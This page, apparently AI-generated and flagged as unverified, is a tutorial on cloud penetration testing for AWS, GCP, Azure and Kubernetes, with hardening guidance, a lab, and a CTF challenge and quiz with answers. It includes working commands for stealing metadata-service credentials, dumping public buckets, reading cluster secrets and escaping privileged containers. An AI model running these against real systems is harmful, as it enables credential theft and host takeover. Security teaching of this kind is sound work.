Skip to content
Unverified — AI-generated content. Help verify this page

Cloud Penetration Testing

Cloud environments introduce an entirely new attack surface that does not exist in traditional infrastructure. Misconfigured IAM policies, overly permissive storage buckets, exposed metadata services, and container escapes have replaced the firewall misconfigurations and unpatched servers of the on-premises era. Cloud pentesting requires understanding the shared responsibility model, cloud-specific APIs, and how the primitives of identity, storage, compute, and networking are implemented differently in AWS, GCP, and Azure.

Related: Cybersecurity Overview | Web App Pentesting | OSINT | Security Tools

Cloud Pentesting Authorization

Cloud providers have specific policies for penetration testing. AWS no longer requires pre-approval for most services but restricts DNS zone walking, DoS, and port flooding. GCP and Azure have similar policies. Always review the provider's current pentesting policy and obtain written authorization from the account owner.


Cloud Attack Surface

Cloud vs Traditional Pentesting

AspectTraditionalCloud
PerimeterFirewalls, DMZIAM policies, security groups
Lateral movementNetwork pivotingRole assumption, cross-account trust
Privilege escalationOS-level (SUID, kernel)IAM policy abuse, role chaining
Data exfiltrationNetwork-basedStorage API, Lambda, DNS
PersistenceBackdoors, rootkitsIAM users, Lambda functions, startup scripts
DetectionIDS/IPSCloudTrail, GuardDuty, Config

AWS Penetration Testing

IAM Enumeration

IAM is the most critical attack surface in AWS. An overprivileged IAM policy is equivalent to a root shell.

bash
# Check current identity
aws sts get-caller-identity

# Enumerate IAM users
aws iam list-users
aws iam list-groups
aws iam list-roles
aws iam list-policies --scope Local

# Get policy details
aws iam get-user-policy --user-name target-user --policy-name PolicyName
aws iam list-attached-user-policies --user-name target-user
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/Name \
  --version-id v1

# Find overprivileged policies
# Look for: Action: "*", Resource: "*" (admin access)
# Look for: iam:PassRole, sts:AssumeRole, lambda:CreateFunction

# Enumerate access keys
aws iam list-access-keys --user-name target-user

# Check MFA status
aws iam list-mfa-devices --user-name target-user

S3 Bucket Attacks

bash
# Discover S3 buckets
# Common naming patterns: company-name, company-backup, company-logs
aws s3 ls s3://target-company-backup --no-sign-request

# List bucket contents (anonymous)
aws s3 ls s3://target-bucket --no-sign-request

# Download everything
aws s3 sync s3://target-bucket ./loot --no-sign-request

# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket

# Check ACL
aws s3api get-bucket-acl --bucket target-bucket

# Test write access
echo "test" > test.txt
aws s3 cp test.txt s3://target-bucket/test.txt --no-sign-request

# Tool: S3Scanner
s3scanner scan --buckets-file bucket-names.txt

EC2 Metadata SSRF

The instance metadata service (IMDS) at 169.254.169.254 is the most exploited cloud attack vector. An SSRF vulnerability in a web application running on EC2 gives the attacker the instance's IAM credentials.

bash
# IMDSv1 (no authentication — vulnerable by default)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
curl http://169.254.169.254/latest/user-data  # Often contains startup scripts with secrets

# IMDSv2 (requires token — harder to exploit via SSRF)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

# Defense: Enforce IMDSv2
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-endpoint enabled

Lambda Abuse

bash
# List Lambda functions
aws lambda list-functions

# Get function code (download the deployment package)
aws lambda get-function --function-name target-function

# Check function environment variables (often contain secrets)
aws lambda get-function-configuration --function-name target-function | \
  jq '.Environment.Variables'

# Invoke function (if you have permissions)
aws lambda invoke --function-name target-function \
  --payload '{"key": "value"}' output.json

AWS Privilege Escalation Paths

PathRequired PermissionsEscalation
IAM policy attachmentiam:AttachUserPolicyAttach AdministratorAccess to yourself
Create access keyiam:CreateAccessKeyCreate keys for admin user
PassRole + Lambdaiam:PassRole + lambda:CreateFunction + lambda:InvokeFunctionCreate Lambda with admin role
PassRole + EC2iam:PassRole + ec2:RunInstancesLaunch EC2 with admin role
STS assume rolests:AssumeRoleAssume a more privileged role
Update function codelambda:UpdateFunctionCodeInject code into existing Lambda
Create login profileiam:CreateLoginProfileSet password for IAM user
SSM RunCommandssm:SendCommandExecute commands on EC2 instances

AWS Pentesting Tools

Pacu — AWS Exploitation Framework

bash
# Install Pacu
pip install pacu

# Start Pacu
pacu

# Set keys
set_keys

# Run enumeration modules
run iam__enum_permissions
run iam__enum_users_roles_policies_groups
run s3__bucket_finder
run ec2__enum
run lambda__enum
run ecs__enum

# Privilege escalation
run iam__privesc_scan

# Credential harvesting
run ec2__download_userdata
run lambda__enum  # Check environment variables

ScoutSuite — Multi-Cloud Auditing

bash
# Install ScoutSuite
pip install scoutsuite

# AWS audit
scout aws --profile production

# GCP audit
scout gcp --user-account

# Azure audit
scout azure --cli

# Results are generated as an interactive HTML report
# Open scout-report/report.html

Prowler — AWS Security Best Practices

bash
# Install Prowler
pip install prowler

# Run full audit
prowler aws

# Run specific checks
prowler aws --checks iam_password_policy_minimum_length_14
prowler aws --category internet-exposed
prowler aws --compliance cis_2.0_aws

# Output formats
prowler aws -M csv -o results/
prowler aws -M json-ocsf -o results/

GCP Penetration Testing

Service Account Enumeration

bash
# List service accounts
gcloud iam service-accounts list

# Get IAM policy for a project
gcloud projects get-iam-policy PROJECT_ID

# List service account keys (leaked keys = compromised)
gcloud iam service-accounts keys list --iam-account SA_EMAIL

# Test for service account impersonation
gcloud auth print-access-token --impersonate-service-account=SA_EMAIL

# Metadata endpoint (GCP)
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Get project metadata
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/project/attributes/

GCP Storage Bucket Misconfiguration

bash
# Check if bucket is publicly accessible
gsutil ls gs://target-bucket
gsutil cat gs://target-bucket/secret-file.txt

# Check bucket ACL
gsutil iam get gs://target-bucket

# Enumerate publicly accessible buckets
# Common patterns: project-name-backup, company-data, staging-assets

Azure Penetration Testing

Azure AD Enumeration

bash
# Login with Azure CLI
az login

# Enumerate users
az ad user list --output table
az ad group list --output table
az ad app list --output table

# Get current user's role assignments
az role assignment list --assignee CURRENT_USER_ID

# Enumerate storage accounts
az storage account list --output table

# Check for blob containers accessible without auth
az storage container list --account-name TARGET_STORAGE \
  --auth-mode login --output table

# Azure metadata endpoint
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Get access token from metadata
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Kubernetes Penetration Testing

Kubernetes adds another layer of complexity. Misconfigured clusters are rampant and often provide a direct path to cluster admin.

Kubernetes Attack Surface

Kubernetes Enumeration

bash
# Check if you're in a pod
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Set up kubectl with service account token
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# Query API server
curl -sk https://kubernetes.default.svc/api/v1/namespaces \
  -H "Authorization: Bearer $TOKEN"

# List pods
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get configmaps --all-namespaces

# Check RBAC permissions
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i get secrets

# Get secrets (if allowed)
kubectl get secret target-secret -o jsonpath='{.data}' | \
  base64 --decode

Container Escape Techniques

bash
# Check if container is privileged
cat /proc/1/status | grep -i cap
# CapEff: 0000003fffffffff = privileged (all capabilities)

# Privileged container escape via mounting host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
# Now you're on the host

# Escape via host PID namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Check for writable hostPath mounts
mount | grep -v "overlay\|proc\|sys\|cgroup"
# If /var/run/docker.sock is mounted:
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host

Kubernetes Security Tools

ToolPurposeCommand
kube-hunterPenetration testingkube-hunter --remote TARGET
kubeauditConfiguration auditingkubeaudit all
kube-benchCIS benchmark checkskube-bench run --targets node
kubectl-who-canRBAC analysiskubectl who-can get secrets
peiratesK8s pentesting toolkitInteractive shell
CDKContainer escape toolkitcdk evaluate

Cloud Attack Frameworks

MITRE ATT&CK for Cloud

TacticAWS ExampleDetection
Initial AccessCompromised access keys, SSRF to metadataCloudTrail unusual API calls
ExecutionLambda invoke, SSM RunCommandCloudTrail, Lambda logs
PersistenceCreate IAM user, modify Lambda, add SSH keyConfig rules, GuardDuty
Privilege EscalationAttach admin policy, PassRole exploitationIAM Access Analyzer
Defense EvasionDisable CloudTrail, modify security groupsCloudTrail tamper detection
Credential AccessMetadata service, Secrets Manager, Parameter StoreGuardDuty, VPC Flow Logs
DiscoveryIAM enumeration, S3 listing, describe-instancesCloudTrail read-only API patterns
Lateral MovementAssume role cross-account, SSM to other instancesCross-account CloudTrail
ExfiltrationS3 copy, snapshot sharing, DNS tunnelingS3 access logs, VPC Flow Logs
ImpactCrypto mining, data destruction, ransomwareGuardDuty crypto findings, billing alerts

Cloud Hardening Checklist

ControlAWSGCPAzure
Enforce MFAIAM policy conditionOrg policyConditional Access
Least privilegeIAM Access AnalyzerPolicy TroubleshooterPIM
Block public storageS3 Block Public AccessOrg policyStorage firewall
Enforce IMDSv2Instance metadata optionsN/A (always requires header)N/A
Enable loggingCloudTrail (all regions)Audit LogsActivity Log
Detect threatsGuardDutySecurity Command CenterDefender for Cloud
Encrypt at restKMS default encryptionCMEKKey Vault
Network segmentationVPC + Security GroupsVPC + Firewall RulesNSG + ASG
Rotate credentialsAccess key rotation policyService account key rotationKey Vault rotation

Further Reading


Key Takeaway

  • IAM misconfiguration is the new root shell — an overprivileged policy in AWS, GCP, or Azure gives attackers the same access as compromising a server
  • The EC2 metadata service (169.254.169.254) is the single most exploited cloud attack vector; SSRF vulnerabilities turn into full cloud compromise
  • Kubernetes adds another dimension: a compromised pod with a privileged service account or hostPath mount can escalate to cluster admin in minutes
Hands-On Lab

Lab: AWS Cloud Penetration Testing

  1. Set up a deliberately vulnerable AWS environment using CloudGoat (Rhino Security Labs) or flaws.cloud
  2. Enumerate IAM permissions using compromised access keys with aws sts get-caller-identity and Pacu's iam__enum_permissions
  3. Discover misconfigured S3 buckets: test for public read/write access with --no-sign-request
  4. Simulate an SSRF attack: set up a web app on EC2 that fetches user-supplied URLs, then retrieve instance credentials from the metadata service
  5. Use the stolen credentials to enumerate additional resources (Lambda functions, S3 buckets, other EC2 instances)
  6. Run ScoutSuite or Prowler to generate a security audit report and identify all misconfigurations
  7. Remediate: enforce IMDSv2, apply least-privilege IAM policies, and enable S3 Block Public Access
CTF Challenge

Challenge: The Leaky Bucket

An organization's S3 bucket acme-corp-backup-2026 is rumored to contain sensitive data. Your task is to determine if the bucket is publicly accessible, list its contents, and find the flag file.

Hints:

  1. Try listing the bucket without credentials using --no-sign-request
  2. Not all files may be listable — check bucket policy and ACL separately
  3. The flag is in a file named with a UUID
Answer

Run aws s3 ls s3://acme-corp-backup-2026 --no-sign-request to list contents. Download the flag file with aws s3 cp s3://acme-corp-backup-2026/data/flag-a1b2c3d4.txt ./flag.txt --no-sign-request. The flag is CTF{s3_buckets_are_not_secret_by_default}. Remediation: enable S3 Block Public Access at the account level and audit all bucket policies.

:::

Common Misconceptions

  • "Cloud providers handle all security" — The shared responsibility model means you are responsible for everything above the infrastructure layer: IAM, data, application code, and configuration.
  • "IAM policies are too complex to get wrong" — That complexity is exactly why misconfiguration is rampant. Overly permissive policies with Action: * and Resource: * are disturbingly common.
  • "Private S3 buckets cannot be discovered" — Bucket names are globally unique and can be guessed or found via certificate transparency logs, DNS records, and JavaScript source code.
  • "Kubernetes namespaces provide security isolation" — Namespaces are a logical separation, not a security boundary. Without network policies and proper RBAC, pods in different namespaces can freely communicate.
Quiz

1. What is the IP address of the AWS EC2 instance metadata service?

a) 127.0.0.1 b) 10.0.0.1 c) 169.254.169.254 d) 192.168.1.1

Answer

c) 169.254.169.254 is the link-local address where the EC2 metadata service listens. It provides instance metadata, user data, and IAM role credentials.

2. What is the key difference between IMDSv1 and IMDSv2?

a) IMDSv2 is faster b) IMDSv2 requires a PUT request to obtain a session token before accessing metadata c) IMDSv2 uses HTTPS d) IMDSv1 is deprecated and no longer works

Answer

b) IMDSv2 requires a two-step process: first a PUT request to get a token, then the token must be included in subsequent requests. This makes SSRF exploitation significantly harder.

3. Which AWS IAM permission combination enables privilege escalation via Lambda?

a) s3:GetObject + s3:PutObject b) iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction c) ec2:DescribeInstances + ec2:StartInstances d) cloudwatch:PutMetricData

Answer

b) With iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction, an attacker can create a Lambda function that runs with a high-privilege role, effectively escalating their permissions.

4. How can an attacker escape a privileged Kubernetes container?

a) By exploiting a web vulnerability b) By mounting the host filesystem and using chroot c) By sending a DNS query d) By modifying the pod's labels

Answer

b) A privileged container can mount the host's root filesystem (mount /dev/sda1 /mnt/host), then chroot /mnt/host to gain full host access, escaping the container.

5. What tool is the primary AWS exploitation framework for penetration testers?

a) Metasploit b) Pacu c) Burp Suite d) Nmap

Answer

b) Pacu is the AWS exploitation framework by Rhino Security Labs. It provides modules for IAM enumeration, privilege escalation, credential harvesting, and more.

:::

One-Liner Summary: In the cloud, identity is the perimeter — misconfigured IAM is the new open port.

"What I cannot create, I do not understand." — Richard Feynman